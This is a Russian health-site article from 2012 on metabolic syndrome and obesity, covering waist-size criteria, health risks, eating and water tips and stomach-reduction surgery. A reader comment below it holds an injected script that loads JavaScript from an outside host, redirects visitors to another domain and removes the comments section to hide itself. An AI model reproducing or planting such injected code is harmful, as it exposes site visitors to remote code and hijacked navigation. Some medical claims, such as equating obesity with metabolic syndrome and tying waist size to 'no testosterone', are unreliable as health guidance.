Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Метаболический синдром, и...  >>  Метаболический синдром, или ожирение
 
Обратная связь
 

Метаболический синдром, или ожирение

Размер шрифта
03 апреля 2012 10:00
  • google_analytics: false
  • Нравится

Ожирение, или, как его еще называют, метаболический синдром, – это заболевание уже само по себе проблема, но оно является также началом многих других проблем. Что такое метаболический синдром, и чем он опасен?

Ставим диагноз

Если у мужчин талия больше 94 см, а у женщин 88 см, то можно говорить о метаболическом синдроме.

Суть заболевания

Метаболический синдром это группа симптомов, которые имеют связь по механизму развития и общая для них точка соприкосновения – абдоминальное, т.е. внутреннее, ожирение. Жир при этом синдроме метаболически активен, он работает как отдельная железа внутренней секреции и вырабатывает различные вещества, которые запускают множество негативных процессов, в том числе смертельно опасных для людей с ожирением:

  • атерогенные, вызывающие атеросклероз
  • повышающие артериальное давление
  • приводящие к развитию интолерантности к глюкозе, или снижению инсулиновой секреции, приводящей к сахарному диабету
  • приводящие к развитию рака

У мужчин ожирение приводит к снижению уровня тестостерона в крови.

Уровень тестостерона в норме, если ширина талии до 94 см, сниженный – если талия от 94 до 102 см, и низкий, или тестостерона нет – если талия шире 102 см.

Помимо талии, которая больше нормы, есть и другие признаки ожирения, например повышенное артериальное давление (свыше 130/85 рт.ст.). Кроме этого, врачи назначают особый анализ крови и проверяют липидограмму крови, или жировую формулу крови.

Чем грозит ожирение

Ожирение приводит к повышенному давлению, нарушению жирового профиля и развитию сахарного диабета с различными осложнениями. Все это приводит к заболеваниям сердца и сосудов, инфаркту миокарда, инсульту. У мужчин снижается уровень тестостерона, что отражается на мужском здоровье.

Что делать, чтобы похудеть

  • Чтобы худеть, надо есть

Для того чтобы худеть, надо не голодать, а есть. Принимать пищу необходимо не менее 5 раз, через 2,5-3 часа, в день и обязательно малыми порциями.

Есть нужно, чтобы уровень глюкозы в крови был постоянным, и чувство жуткого голода тогда не наступит. К тому же постоянная работа ЖКТ тратит калории.

  • Секрет похудения в одном стакане

Объем съедаемой пищи за один прием должен быть равным объему одного стакана, т.е. 250-300 г. Объем важен для того, чтобы достичь первой стадии насыщения, когда наш желудок «понимает», что он полон и посылает об этом сигнал в мозг. Если вы едите овощи, то они обычно медленно высвобождают углеводы и уровень сахара постоянный, а чувство насыщения поэтому сохраняется надолго.

  • Вода важнее, чем еда

Для того чтобы человек худел правильно, в течение дня нужно выпивать не менее 2-х литров воды. Вода помогает наполнить желудок, а поддержание нормального уровня жидкости в организме позволяет человеку чувствовать себя хорошо, в том числе и из-за нормализации стула.

Как лечить

Помимо диет, особенно в самых тяжелых случаях, сопровождающихся сахарным диабетом, существует возможность оперативного лечения. Это напрямую касается людей, которые имеют морбидное ожирение – когда объем желудка увеличен до нескольких литров.

Операция заключается в том, что объем желудка уменьшается до 300 г путем отсечения его лишней части специальным аппаратом и одновременного наложения швов.

В настоящее время операции по уменьшению объема желудка могут быть проведены даже при помощи эндоскопического аппарата, т.е. без разреза.

В борьбе с ожирением все средства хороши, главное – понять, что может помочь именно вам, и следовать этому.

Сюжеты по теме:
Метаболический синдром. Чем опасно ожирение и как от него избавиться

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Самые популярные мифы о диабете   Жир, который поможет вам избавиться от жира!   В новый год – с новым весом!   Как воспитывать ребенка, чтобы он не был толстым?  
19 февраля 2013Мальчик с ожирением не станет мужчиной 05 декабря 2012Когда вы нервничаете, ваш ребенок толстеет
 
15 августа 2012Обнаружены механизмы, контролирующие ожирение и атеросклероз! 07 августа 2012В Америке зарегистрирован новый препарат для снижения веса!
 

Слайдшоу

1
Что делать, если муж храпит?
Как похудеть, ничего не делая
Как натренировать волю и похудеть?

Тесты

1
Жиры, которые мы едим
Есть ли у вас избыточный вес?
Готовы ли вы сбросить лишнее?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.